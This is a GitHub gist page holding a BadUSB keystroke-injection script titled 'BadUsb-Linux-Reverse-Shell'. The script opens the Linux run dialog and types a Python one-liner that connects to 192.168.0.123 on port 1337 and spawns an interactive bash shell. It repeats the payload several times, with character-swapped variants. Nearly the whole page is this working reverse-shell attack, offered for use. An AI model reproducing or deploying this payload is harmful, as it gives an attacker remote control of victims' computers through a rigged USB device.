-
-
Save kalinathalie/b768d14e1d41960a6e9bb591802090e6 to your computer and use it in GitHub Desktop.
BadUsb-Linux-Reverse-Shell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| REM Author: K4L1 (K4L1 on Discord) | |
| REM Description: Reverse shell in Linux | |
| REM Version: 1.0 | |
| REM Category: ReverseShell | |
| DELAY 1000 | |
| ESC | |
| DELAY 100 | |
| ALT F2 | |
| DELAY 1000 | |
| STRING python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.123",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")' | |
| DELAY 200 | |
| ENTER | |
| ESC | |
| DELAY 100 | |
| ESC | |
| DELAY 300 | |
| ALT F2 | |
| DELAY 1500 | |
| STRING python3 -c `import socket,subprocess,os/s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)/s.connect((~192.168.0.123~,1337))/os.dup2(s.fileno(),0)/ os.dup2(s.fileno(),1)/os.dup2(s.fileno(),2)/import pty/ pty.spawn(~bash~)` | |
| DELAY 200 | |
| ENTER | |
| DELAY 100 | |
| ESC | |
| DELAY 100 | |
| CAPSLOCK | |
| DELAY 300 | |
| ALT F2 | |
| DELAY 1000 | |
| STRING python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.123",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")' | |
| DELAY 200 | |
| ENTER | |
| ESC | |
| DELAY 100 | |
| ESC | |
| DELAY 300 | |
| ALT F2 | |
| DELAY 1000 | |
| STRING python3 -c `import socket,subprocess,os/s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)/s.connect((~192.168.0.123~,1337))/os.dup2(s.fileno(),0)/ os.dup2(s.fileno(),1)/os.dup2(s.fileno(),2)/import pty/ pty.spawn(~bash~)` | |
| DELAY 200 | |
| ENTER | |
| ESC | |
| DELAY 100 | |
| ESC | |
| DELAY 300 | |
| ESC |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment